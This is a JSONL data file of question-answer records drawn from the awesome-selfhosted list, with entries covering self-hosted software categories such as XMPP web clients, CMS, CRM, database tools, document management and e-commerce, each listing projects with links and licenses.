{"id": "gh_fbbe3aedacb6", "question": "How to: Communication - XMPP - Web Clients", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Extensible Messaging and Presence Protocol](https://en.wikipedia.org/wiki/XMPP) Web clients/interfaces.\n\n- [Converse.js](https://conversejs.org/) - XMPP chat client in your browser. ([Source Code](https://github.com/conversejs/converse.js)) `MPL-2.0` `Javascript`\n- [Libervia](https://repos.goffi.org/libervia-web) - Web frontend from Salut à Toi. `AGPL-3.0` `Python`\n- [Salut à Toi](https://www.salut-a-toi.org/) - Multipurpose, multi frontend, libre and decentralized communication tool. ([Source Code](https://repos.goffi.org/libervia-backend)) `AGPL-3.0` `Python`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557078"}
{"id": "gh_73dd1a12790b", "question": "How to: Community-Supported Agriculture (CSA)", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nManagement and administration tools for community supported agriculture and food cooperatives.\n\n_Related: [E-commerce](#e-commerce)_\n\n- [ACP Admin](https://acp-admin.ch/) - CSA administration. Manage members, subscriptions, deliveries, drop-off locations, member participation, invoices and emails (documentation in French). ([Source Code](https://github.com/csa-admin-org/csa-admin)) `MIT` `Ruby`\n- [E-Label](https://filipecarneiro.github.io/ELabel/) - Solution for electronic labels, with QR Codes, on wine bottles sold within the European Union. ([Source Code](https://github.com/filipecarneiro/ELabel)) `MIT` `Docker`\n- [FoodCoopShop](https://www.foodcoopshop.com/) - User-friendly software for food-coops. ([Source Code](https://github.com/foodcoopshop/foodcoopshop)) `AGPL-3.0` `PHP/Docker`\n- [Foodsoft](https://foodcoops.net/) - Manage a non-profit food coop (product catalog, ordering, accounting, job scheduling). ([Source Code](https://github.com/foodcoops/foodsoft)) `AGPL-3.0` `Docker/Ruby`\n- [Hive-Pal](https://hivepal.app) - Mobile-first beekeeping management app for tracking hives, inspections, queen records, and equipment with streamlined data entry optimized for field use. ([Demo](https://hivepal.app), [Source Code](https://github.com/martinhrvn/hive-pal)) `MIT` `Nodejs/Docker`\n- [juntagrico](https://juntagrico.org/) - Management platform for community gardens and vegetable cooperatives. ([Source Code](https://github.com/juntagrico/juntagrico)) `LGPL-3.0` `Python`\n- [Open Food Network](https://www.openfoodnetwork.org/) - Online marketplace for local food. It enables a network of independent online food stores that connect farmers and food hubs with individuals and local businesses. ([Source Code](https://github.com/openfoodfoundation/openfoodnetwork)) `AGPL-3.0` `Ruby`\n- [OpenOlitor](https://openolitor.org/) - Administration platform for Community Supported Agriculture groups. ([Source Code](https://github.com/OpenOlitor/openolitor-server)) `AGPL-3.0` `Scala`\n- [teikei](https://github.com/teikei/teikei) - A web application that maps out community-supported agriculture based on crowdsourced data. ([Demo](https://ernte-teilen.org/karte/#/)) `AGPL-3.0` `Nodejs`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557085"}
{"id": "gh_e9cbafbd8476", "question": "How to: Conference Management", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nSoftware for submission of [abstracts](https://en.wikipedia.org/wiki/Abstract_management) and preparation/management of academic conferences.\n\n- [indico](https://getindico.io/) - Feature-rich event management system, made @ CERN, the place where the Web was born. ([Demo](https://sandbox.getindico.io/), [Source Code](https://github.com/indico/indico)) `MIT` `Python`\n- [motion.tools (Antragsgrün)](https://motion.tools/) - Manage motions and amendments for (political) conventions. ([Demo](https://sandbox.motion.tools/createsite), [Source Code](https://github.com/CatoTH/antragsgruen)) `AGPL-3.0` `PHP/Docker`\n- [OpenSlides](https://openslides.com/) - Presentation and assembly system for managing and projecting agenda, motions and elections of an assembly. ([Demo](https://demo.os4.openslides.com/login), [Source Code](https://github.com/OpenSlides/OpenSlides)) `MIT` `Docker`\n- [osem](https://osem.io/) - Event management tailored to free Software conferences. ([Source Code](https://github.com/openSUSE/osem)) `MIT` `Ruby/Docker`\n- [pretalx](https://pretalx.org) - Web-based event management, including running a Call for Papers, reviewing submissions, and scheduling talks. Exports and imports for various related tools. ([Source Code](https://github.com/pretalx/pretalx)) `Apache-2.0` `Python`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557092"}
{"id": "gh_b25e9fbfc642", "question": "How to: Content Management Systems (CMS)", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Content Management Systems](https://en.wikipedia.org/wiki/Content_management_system) offer a practical way to setup a website with many features, using third party plugins, themes and functionality that are easy to add and customize.\n\n_Related: [Blogging Platforms](#blogging-platforms), [Static Site Generators](#static-site-generators), [Photo Galleries](#photo-galleries)_\n\n- [Alfresco Community Edition](https://www.alfresco.com/products/community/download) - The open source Enterprise Content Management software that handles any type of content, allowing users to easily share and collaborate on content. ([Source Code](https://github.com/Alfresco/alfresco-community-repo)) `LGPL-3.0` `Java`\n- [Apostrophe](https://apostrophecms.com/) - CMS with a focus on extensible in-context editing tools. ([Demo](https://apostrophecms.com/demo), [Source Code](https://github.com/apostrophecms/apostrophe)) `MIT` `Nodejs`\n- [Automad](https://automad.org/) - Flat-file content management system and template engine. ([Demo](https://try.automad.org/), [Source Code](https://github.com/marcantondahmen/automad)) `MIT` `PHP/Docker`\n- [Backdrop CMS](https://backdropcms.org/) - Comprehensive CMS for small to medium sized businesses and non-profits. ([Source Code](https://github.com/backdrop/backdrop)) `GPL-2.0` `PHP`\n- [BigTree CMS](https://www.bigtreecms.org/) - Straightforward, well documented, and capable CMS. ([Source Code](https://github.com/bigtreecms/BigTree-CMS)) `LGPL-2.1` `PHP`\n- [Bludit](https://www.bludit.com/) `⚠` - Build a site or blog in seconds. Bludit uses flat-files (text files in JSON format) to store posts and pages. ([Source Code](https://github.com/bludit/bludit)) `MIT` `PHP`\n- [CMS Made Simple](https://www.cmsmadesimple.org/) - Faster and easier management of website contents, scalable for small businesses to large corporations. ([Source Code](http://svn.cmsmadesimple.org/svn/cmsmadesimple/trunk/)) `GPL-2.0` `PHP`\n- [Cockpit](https://getcockpit.com) - Simple content platform to manage any structured content. ([Source Code](https://github.com/Cockpit-HQ/Cockpit)) `MIT` `PHP`\n- [Concrete 5 CMS](https://www.concretecms.com) - Open source content management system. ([Source Code](https://github.com/concretecms/concretecms)) `MIT` `PHP`\n- [Contao](https://contao.org/) - Powerful CMS that allows you to create professional websites and scalable web applications. ([Demo](https://demo.contao.org/contao), [Source Code](https://github.com/contao/contao/)) `LGPL-3.0` `PHP`\n- [CouchCMS](https://www.couchcms.com/) - CMS for designers. ([Source Code](https://github.com/CouchCMS/CouchCMS)) `CPAL-1.0` `PHP`\n- [Drupal](https://www.drupal.org/) - Advanced open source content management platform. ([Source Code](https://git.drupalcode.org/project/drupal)) `GPL-2.0` `PHP`\n- [eLabFTW](https://www.elabftw.net) - Online lab notebook for research labs. Store experiments, use a database to find reagents or protocols, use trusted timestamping to legally timestamp an experiment, export as pdf or zip archive, share with collaborators…. ([Demo](https://demo.elabftw.net), [Source Code](https://github.com/elabftw/elabftw)) `AGPL-3.0` `PHP`\n- [Expressa](https://github.com/thomas4019/expressa) - Content Management System for powering database driven websites using JSON schemas. Provides permission management and automatic REST APIs. `MIT` `Nodejs`\n- [Joomla!](https://www.joomla.org/) - Advanced Content Management System (CMS). ([Source Code](https://github.com/joomla/joomla-cms)) `GPL-2.0` `PHP`\n- [KeystoneJS](https://keystonejs.com/) - CMS and web application platform. ([Source Code](https://github.com/keystonejs/keystone)) `MIT` `Nodejs`\n- [Localess](https://localess.org/home) `⚠` - Powerful translation management and content management system. Manage and translate your website or app content into multiple languages, using AI to translate faster. ([Source Code](https://github.com/Lessify/localess)) `MIT` `Docker`\n- [MODX](https://modx.com/) - Advanced content management and publishing platform. The current version is called 'Revolution'. ([Source Code](https://github.com/modxcms/revolution)) `GPL-2.0` `PHP`\n- [Neos](https://www.neos.io) - Neos or TYPO3 Neos (for version 1) is a modern, open source CMS. ([Source Code](https://github.com/neos)) `GPL-3.0` `PHP`\n- [Noosfero](https://gitlab.com/noosfero/noosfero) - Platform for social and solidarity economy networks with blog, e-Portfolios, CMS, RSS, thematic discussion, events agenda and collective intelligence for solidarity economy in the same system. `AGPL-3.0` `Ruby`\n- [Omeka](https://omeka.org) - Create complex narratives and share rich collections, adhering to Dublin Core standards with Omeka on your server, designed for scholars, museums, libraries, archives, and enthusiasts. ([Demo](https://omeka.org/classic/showcase/), [Source Code](https://github.com/omeka/Omeka)) `GPL-3.0` `PHP`\n- [Payload CMS](https://payloadcms.com/) - Develop", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557111"}
{"id": "gh_9fb3a0bcf710", "question": "How to: Customer Relationship Management (CRM)", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Customer relationship management (CRM)](https://en.wikipedia.org/wiki/Customer_relationship_management) is a strategic process that organizations use to manage, analyze, and improve their interactions with customers.\n\n_Related: [Communication - Email - Mailing Lists and Newsletters](#communication---email---mailing-lists-and-newsletters), [Analytics](#analytics), [Calendar & Contacts](#calendar--contacts)_\n\n- [Corteza](https://docs.cortezaproject.org) - CRM including a unified workspace, enterprise messaging and a low code environment for rapidly and securely delivering records-based management solutions. ([Demo](https://latest.cortezaproject.org), [Source Code](https://github.com/cortezaproject/corteza)) `Apache-2.0` `Go`\n- [Django-CRM](https://DjangoCRM.github.io/info/) - Analytical CRM with tasks management, email marketing and many more. Django CRM is built for individual use, businesses of any size or freelancers and is designed to provide easy customization and quick development. ([Source Code](https://github.com/DjangoCRM/django-crm)) `AGPL-3.0` `Python`\n- [EspoCRM](https://www.espocrm.com/) - CRM with a frontend designed as a single page application, and a REST API. ([Demo](https://demo.espocrm.com/), [Source Code](https://github.com/espocrm/espocrm)) `AGPL-3.0` `PHP`\n- [Krayin](https://krayincrm.com/) - CRM solution for SMEs and Enterprises for complete customer lifecycle management. ([Demo](https://demo.krayincrm.com/), [Source Code](https://github.com/krayin/laravel-crm)) `MIT` `PHP`\n- [Monica](https://monicahq.com/) - Personal relationship manager, and a new kind of CRM to organize interactions with your friends and family. ([Source Code](https://github.com/monicahq/monica)) `AGPL-3.0` `PHP/Docker`\n- [SuiteCRM](https://suitecrm.com) - The award-winning, enterprise-class open source CRM. ([Source Code](https://github.com/SuiteCRM/SuiteCRM)) `AGPL-3.0` `PHP`\n- [Twenty](https://twenty.com) - A modern CRM offering the flexibility of open source, advanced features, and a sleek design. ([Source Code](https://github.com/twentyhq/twenty)) `AGPL-3.0` `Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557118"}
{"id": "gh_275374474ca5", "question": "How to: Database Management", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nWeb interfaces for [database](https://en.wikipedia.org/wiki/Database) management. Includes tools for database analytics and visualization.\n\n_Related: [Analytics](#analytics), [Automation](#automation)_\n\n_See also: [dbdb.io - Database of Databases](https://dbdb.io/)_\n\n- [Adminer](https://www.adminer.org/) - Database management in a single PHP file. Available for MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, Elasticsearch, MongoDB and others. ([Source Code](https://github.com/vrana/adminer)) `Apache-2.0/GPL-2.0` `PHP`\n- [Azimutt](https://azimutt.app) - Visual database exploration made for real world databases (big and messy). Explore your database schema as well as data, document them, extend them and even get analysis and guidelines. ([Demo](https://azimutt.app/gallery/gospeak), [Source Code](https://github.com/azimuttapp/azimutt)) `MIT` `Elixir/Nodejs/Docker`\n- [Baserow](https://baserow.io/) - Create your own database without technical experience (alternative to Airtable). ([Source Code](https://gitlab.com/baserow/baserow)) `MIT` `Docker`\n- [Bytebase](https://www.bytebase.com/) - Safe database schema change and version control for DevOps teams, supports MySQL, PostgreSQL, TiDB, ClickHouse, and Snowflake. ([Demo](https://demo.bytebase.com), [Source Code](https://github.com/bytebase/bytebase)) `MIT` `Docker/K8S/Go`\n- [Chartbrew](https://chartbrew.com) - Connect directly to databases and APIs and use the data to create beautiful charts. ([Demo](https://app.chartbrew.com/live-demo), [Source Code](https://github.com/chartbrew/chartbrew)) `MIT` `Nodejs/Docker`\n- [ChartDB](https://chartdb.io/) - Database diagrams editor that allows you to visualize and design your DB with a single query. ([Demo](https://app.chartdb.io), [Source Code](https://github.com/chartdb/chartdb)) `AGPL-3.0` `Nodejs/Docker`\n- [CloudBeaver](https://dbeaver.com/) - Manage databases, supports PostgreSQL, MySQL, SQLite and more. A web/hosted version of DBeaver. ([Source Code](https://github.com/dbeaver/cloudbeaver)) `Apache-2.0` `Docker`\n- [Databunker](https://databunker.org/) - Network-based, self-hosted, GDPR compliant, secure database for personal data or PII. ([Source Code](https://github.com/securitybunker/databunker)) `MIT` `Docker`\n- [Datasette](https://datasette.io/) - Explore and publish data with easy import and export and database management. ([Source Code](https://github.com/simonw/datasette)) `Apache-2.0` `Python/Docker`\n- [Evidence](https://evidence.dev) - Code-based BI tool. Write reports using SQL and markdown and they render as a website. ([Source Code](https://github.com/evidence-dev/evidence)) `MIT` `Nodejs`\n- [Kottster](https://kottster.app/) - Low-code admin panel that connects to your database and automatically generates pages to view and manage your data. ([Demo](https://demo.kottster.app/), [Source Code](https://github.com/kottster/kottster)) `Apache-2.0` `Nodejs/Docker`\n- [Limbas](https://www.limbas.com/en/) - Database framework for creating database-driven business applications. As a graphical database frontend, it enables the efficient processing of data stocks and the flexible development of comfortable database applications. ([Source Code](https://github.com/limbas/limbas)) `GPL-2.0` `PHP`\n- [Mathesar](https://mathesar.org/) - Intuitive UI to manage data collaboratively, for users of all technical skill levels. Built on Postgres – connect an existing DB or set up a new one. ([Source Code](https://github.com/mathesar-foundation/mathesar)) `GPL-3.0` `Docker/Python`\n- [NocoDB](https://www.nocodb.com/) - No-code platform that turns any database into a smart spreadsheet (alternative to Airtable and Smartsheet). ([Source Code](https://github.com/nocodb/nocodb)) `SUL-1.0` `Nodejs/Docker`\n- [WebDB](https://webdb.app) - Efficient database IDE. ([Demo](https://demo.webdb.app/), [Source Code](https://gitlab.com/web-db/app)) `AGPL-3.0` `Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557130"}
{"id": "gh_c6fba6a5ce3c", "question": "How to: Document Management", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nA [document management system](https://en.wikipedia.org/wiki/Document_management_system) (DMS) is a system used to receive, track, manage and store documents and reduce paper.\n\n- [Docspell](https://docspell.org) - Auto-tagging document organizer and archive. ([Source Code](https://github.com/eikek/docspell)) `GPL-3.0` `Scala/Java/Docker`\n- [Documenso](https://documenso.com) - Digital document signing platform (alternative to DocuSign). ([Source Code](https://github.com/documenso/documenso)) `AGPL-3.0` `Nodejs/Docker`\n- [Docuseal](https://www.docuseal.co) - Create, fill, and sign digital documents (alternative to DocuSign). ([Demo](https://demo.docuseal.tech/), [Source Code](https://github.com/docusealco/docuseal)) `AGPL-3.0` `Docker`\n- [EveryDocs](https://github.com/jonashellmann/everydocs-core) - Simple Document Management System for private use with basic functionality to organize your documents digitally. `GPL-3.0` `Docker/Ruby`\n- [Gotenberg](https://gotenberg.dev) - Developer-friendly API to interact with powerful tools like Chromium and LibreOffice for converting numerous document formats (HTML, Markdown, Word, Excel, etc.) into PDF files, and more. ([Source Code](https://github.com/gotenberg/gotenberg)) `MIT` `Docker`\n- [I, Librarian](https://i-librarian.net) - Organize PDF papers and office documents. It provides a lot of extra features for students and research groups both in industry and academia. ([Demo](https://i-librarian.net/demo/), [Source Code](https://github.com/mkucej/i-librarian-free)) `GPL-3.0` `PHP`\n- [Mayan EDMS](https://www.mayan-edms.com) - Electronic document management system for your documents with preview generation, OCR, and automatic categorization among other features. ([Source Code](https://gitlab.com/mayan-edms/mayan-edms)) `GPL-2.0` `Docker/K8S`\n- [OpenSign](https://www.opensignlabs.com) `⚠` - Document signing software (alternative to DocuSign). ([Source Code](https://github.com/opensignlabs/opensign)) `AGPL-3.0` `Nodejs/Docker`\n- [Paperless-ngx](https://docs.paperless-ngx.com/) - Scan, index, and archive all of your paper documents with an improved interface (fork of Paperless). ([Demo](https://demo.paperless-ngx.com/), [Source Code](https://github.com/paperless-ngx/paperless-ngx)) `GPL-3.0` `Python/Docker`\n- [Papermerge](https://papermerge.com) - Document management system focused on scanned documents (electronic archives). Features file browsing in similar way to dropbox/google drive. OCR, full text search, text overlay/selection. ([Source Code](https://github.com/papermerge/papermerge-core)) `Apache-2.0` `Docker/K8S`\n- [Papra](https://papra.app) - Minimalist document storage, management and archiving platform designed to be simple to use and accessible to everyone. ([Demo](https://demo.papra.app/), [Source Code](https://github.com/papra-hq/papra/)) `AGPL-3.0` `Docker`\n- [PdfDing](https://www.pdfding.com) - PDF manager, viewer and editor offering a seamless user experience on multiple devices. It's designed to be minimal, fast, and easy to set up using Docker. ([Demo](https://demo.pdfding.com), [Source Code](https://github.com/mrmn2/PdfDing)) `AGPL-3.0` `Docker/K8S`\n- [SeedDMS](https://www.seeddms.org) - Document Management System with workflows, access rights, fulltext search, and more. ([Demo](https://www.seeddms.org/about/), [Source Code](https://sourceforge.net/p/seeddms/code/ci/master/tree/)) `GPL-2.0` `PHP`\n- [Signature PDF](https://github.com/24eme/signaturepdf) - Sign and manipulate PDFs with collaboration, organization, compression and metadata editing. ([Demo](https://pdf.24eme.fr/)) `AGPL-3.0` `PHP/deb/Docker`\n- [Stirling-PDF](https://github.com/Stirling-Tools/Stirling-PDF) - Local hosted web application that allows you to perform various operations on PDF files, such as merging, splitting, file conversions and OCR. `Apache-2.0` `Docker/Java`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557142"}
{"id": "gh_3094d43e5beb", "question": "How to: Document Management - E-books", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Ebook](https://en.wikipedia.org/wiki/Ebook) library management software.\n\n- [Atsumeru](https://atsumeru.xyz) - Manga/comic/light novel media server with clients for Windows, Linux, macOS and Android. ([Source Code](https://github.com/Atsumeru-xyz/Atsumeru), [Clients](https://atsumeru.xyz/guides/#how-does-it-work)) `MIT` `Java/Docker`\n- [BookLogr](https://github.com/Mozzo1000/booklogr) - Manage your personal book library with ease. ([Demo](https://demo.booklogr.app/)) `Apache-2.0` `Docker`\n- [BookLore](https://github.com/booklore-app/booklore) - Host and manage books, with support for PDFs, eBooks, reading progress, metadata, and stats. `GPL-3.0` `Docker`\n- [Calibre Web](https://github.com/janeczku/calibre-web) - Browse, read and download eBooks using an existing Calibre database. `GPL-3.0` `Python`\n- [Calibre](https://calibre-ebook.com/) - E-book library manager that can view, convert, and catalog e-books in most of the major e-book formats and provides a built-in Web server for remote clients. ([Demo](https://calibre-ebook.com/demo), [Source Code](https://github.com/kovidgoyal/calibre)) `GPL-3.0` `Python/deb`\n- [Kapowarr](https://casvt.github.io/Kapowarr/) - Build and manage a comic book library. Download, rename, move and convert issues of the volume to your liking. ([Source Code](https://github.com/Casvt/Kapowarr)) `GPL-3.0` `Docker/Python`\n- [Kavita](https://www.kavitareader.com/) - Cross-platform e-book/manga/comic/pdf server and web reader with user management, ratings and reviews, and metadata support. ([Demo](https://www.kavitareader.com/#demo), [Source Code](https://github.com/Kareadita/Kavita)) `GPL-3.0` `.NET/Docker`\n- [kiwix-serve](https://www.kiwix.org/en/downloads/kiwix-serve/) - HTTP daemon for serving wikis from ZIM files. ([Source Code](https://github.com/kiwix/kiwix-tools)) `GPL-3.0` `C++`\n- [Komga](https://komga.org) - Media server for comics/mangas/BDs with API and OPDS support, a modern web interface for exploring your libraries, as well as a web reader. ([Source Code](https://github.com/gotson/komga)) `MIT` `Java/Docker`\n- [Stump](https://www.stumpapp.dev) - A fast, free and open source comics, manga and digital book server with OPDS support. ([Source Code](https://github.com/stumpapp/stump)) `MIT` `Rust`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557149"}
{"id": "gh_e7976b91f671", "question": "How to: Document Management - Institutional Repository and Digital Library Software", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Institutional repository](https://en.wikipedia.org/wiki/Institutional_repository) and [digital library](https://en.wikipedia.org/wiki/Digital_library) management software.\n\n- [DSpace](http://www.dspace.org/) - Turnkey repository application providing durable access to digital resources. ([Source Code](https://github.com/DSpace/DSpace)) `BSD-3-Clause` `Java`\n- [EPrints](https://www.eprints.org/) - Digital document management system with a flexible metadata and workflow model primarily aimed at academic institutions. ([Demo](http://tryme.demo.eprints-hosting.org/), [Source Code](https://github.com/eprints/eprints3.4)) `GPL-3.0` `Perl`\n- [Fedora Commons Repository](https://wiki.lyrasis.org/display/FF/Fedora+Repository+Home) - Robust and modular repository system for the management and dissemination of digital content especially suited for digital libraries and archives, both for access and preservation. ([Source Code](https://github.com/fcrepo/fcrepo)) `Apache-2.0` `Java`\n- [InvenioRDM](https://inveniordm.docs.cern.ch/) - Highly scalable turn-key research data management platform with a beautiful user experience. ([Demo](https://inveniordm.web.cern.ch/), [Source Code](https://github.com/inveniosoftware/invenio-app-rdm), [Clients](https://inveniosoftware.org/products/rdm/)) `MIT` `Python`\n- [Islandora](https://www.islandora.ca/) - Drupal module for browsing and managing Fedora-based digital repositories. ([Demo](https://sandbox.islandora.ca/), [Source Code](https://github.com/Islandora/islandora)) `GPL-3.0` `PHP`\n- [Samvera Hyrax](https://samvera.org/) - Front-end for the Samvera framework, which itself is a Ruby on Rails application for browsing and managing Fedora-based digital repositories. ([Source Code](https://github.com/samvera/hyrax)) `Apache-2.0` `Ruby`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557156"}
{"id": "gh_7d6beb8ae5b2", "question": "How to: Document Management - Integrated Library Systems (ILS)", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nAn [integrated library system](https://en.wikipedia.org/wiki/Integrated_library_system) is an enterprise resource planning system for a library, used to track items owned, orders made, bills paid, and patrons who have borrowed.\n\n_Related: [Content Management Systems (CMS)](#content-management-systems-cms), [Archiving and Digital Preservation (DP)](#archiving-and-digital-preservation-dp)_\n\n- [Evergreen](https://evergreen-ils.org) - Highly-scalable software for libraries that helps library patrons find library materials, and helps libraries manage, catalog, and circulate those materials. ([Source Code](https://github.com/evergreen-library-system/Evergreen)) `GPL-2.0` `PLpgSQL`\n- [Koha](https://koha-community.org/) - Enterprise-class ILS with modules for acquisitions, circulation, cataloging, label printing, offline circulation for when Internet access is not available, and much more. ([Demo](https://koha-community.org/demo/), [Source Code](https://github.com/Koha-Community/Koha)) `GPL-3.0` `Perl`\n- [RERO ILS](https://rero21.ch/) - Large-scale ILS that can be run as a service with consortial features, intended primarily for library networks. Includes most standard modules (circulation, acquisitions, cataloging,...) and a web-based public and professional interface. ([Demo](https://ils.test.rero.ch/), [Source Code](https://github.com/rero/rero-ils)) `AGPL-3.0` `Python/Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557162"}
{"id": "gh_49f26b013acf", "question": "How to: E-commerce", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[E-commerce](https://en.wikipedia.org/wiki/E-commerce) software.\n\n_Related: [Community-Supported Agriculture (CSA)](#community-supported-agriculture-csa)_\n\n- [Aimeos](https://aimeos.org/) - E-commerce framework for building custom online shops, market places and complex B2B applications scaling to billions of items with Laravel. ([Demo](https://demo.aimeos.org/), [Source Code](https://github.com/aimeos/aimeos)) `LGPL-3.0/MIT` `PHP`\n- [Bagisto](https://bagisto.com/en/) - Leading Laravel open source e-commerce framework with multi-inventory sources, taxation, localization, dropshipping and more exciting features. ([Demo](https://demo.bagisto.com/), [Source Code](https://github.com/bagisto/bagisto)) `MIT` `PHP`\n- [CoreShop](https://www.coreshop.org) - E-commerce plugin for Pimcore. ([Source Code](https://github.com/coreshop/CoreShop)) `GPL-3.0` `PHP`\n- [Drupal Commerce](https://drupalcommerce.org) - Popular e-commerce module for Drupal CMS, with support for dozens of payment, shipping, and shopping related modules. ([Source Code](https://git.drupalcode.org/project/commerce)) `GPL-2.0` `PHP`\n- [EverShop](https://evershop.io/) `⚠` - E-commerce platform with essential commerce features. Modular architecture and fully customizable. ([Demo](https://demo.evershop.io/), [Source Code](https://github.com/evershopcommerce/evershop)) `GPL-3.0` `Docker/Nodejs`\n- [Litecart](https://github.com/shurco/litecart) `⚠` - Shopping cart in 1 file (with support for payment by card or cryptocurrency). `MIT` `Go/Docker`\n- [Magento Open Source](https://business.adobe.com/products/magento/magento-commerce.html) - Leading provider of open omnichannel innovation. ([Source Code](https://github.com/magento/magento2)) `OSL-3.0` `PHP`\n- [MedusaJs](https://medusajs.com/) - Headless commerce engine that enables developers to create amazing digital commerce experiences. ([Demo](https://next.medusajs.com/), [Source Code](https://github.com/medusajs/medusa)) `MIT` `Nodejs`\n- [Microweber](https://microweber.com/) - Drag and Drop CMS and online shop. ([Source Code](https://github.com/microweber/microweber)) `MIT` `PHP`\n- [Open Source POS](https://github.com/opensourcepos/opensourcepos) - Open Source Point of Sale is a web based point of sale system. `MIT` `PHP`\n- [OpenCart](https://www.opencart.com) - Shopping cart solution. ([Source Code](https://github.com/opencart/opencart)) `GPL-3.0` `PHP`\n- [PrestaShop](https://www.prestashop.com/) - Fully scalable e-commerce solution. ([Demo](https://demo.prestashop.com/), [Source Code](https://github.com/PrestaShop/PrestaShop)) `OSL-3.0` `PHP`\n- [Pretix](https://pretix.eu/) - Ticket sales platform for events. ([Source Code](https://github.com/pretix/pretix)) `AGPL-3.0` `Python/Docker`\n- [s-cart](https://s-cart.org/) - E-commerce website for individuals and businesses, built on top of Laravel Framework. ([Demo](https://demo.s-cart.org/), [Source Code](https://github.com/gp247net/s-cart)) `MIT` `PHP`\n- [Saleor](https://saleor.io) - Django based open-sourced e-commerce storefront. ([Demo](https://demo.saleor.io/), [Source Code](https://github.com/saleor/saleor)) `BSD-3-Clause` `Docker/Python`\n- [Shopware Community Edition](https://www.shopware.com/en/community/community-edition/) - PHP based open source e-commerce software made in Germany. ([Demo](https://www.shopware.com/en/test-demo/), [Source Code](https://github.com/shopware/shopware)) `MIT` `PHP`\n- [Solidus](https://solidus.io/) - A free, open-source ecommerce platform that gives you complete control over your store. ([Source Code](https://github.com/solidusio/solidus)) `BSD-3-Clause` `Ruby/Docker`\n- [Spree Commerce](https://spreecommerce.org) - Spree is a complete, modular & API-driven open source e-commerce solution for Ruby on Rails. ([Demo](https://demo.spreecommerce.org/), [Source Code](https://github.com/spree/spree)) `BSD-3-Clause` `Ruby`\n- [Sylius](https://sylius.com) - Symfony2 powered open source full-stack platform for eCommerce. ([Demo](https://sylius.com/try/), [Source Code](https://github.com/Sylius/Sylius)) `MIT` `PHP`\n- [Thelia](https://thelia.net/) - Thelia is an open source and flexible e-commerce solution. ([Demo](https://demo.thelia.net/), [Source Code](https://github.com/thelia/thelia)) `LGPL-3.0` `PHP`\n- [Vendure](https://www.vendure.io) - A headless commerce framework. ([Demo](https://demo.vendure.io), [Source Code](https://github.com/vendure-ecommerce/vendure)) `MIT` `Nodejs`\n- [WooCommerce](https://woocommerce.com/) - WordPress based e-commerce solution. ([Source Code](https://github.com/woocommerce/woocommerce)) `GPL-3.0` `PHP`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": 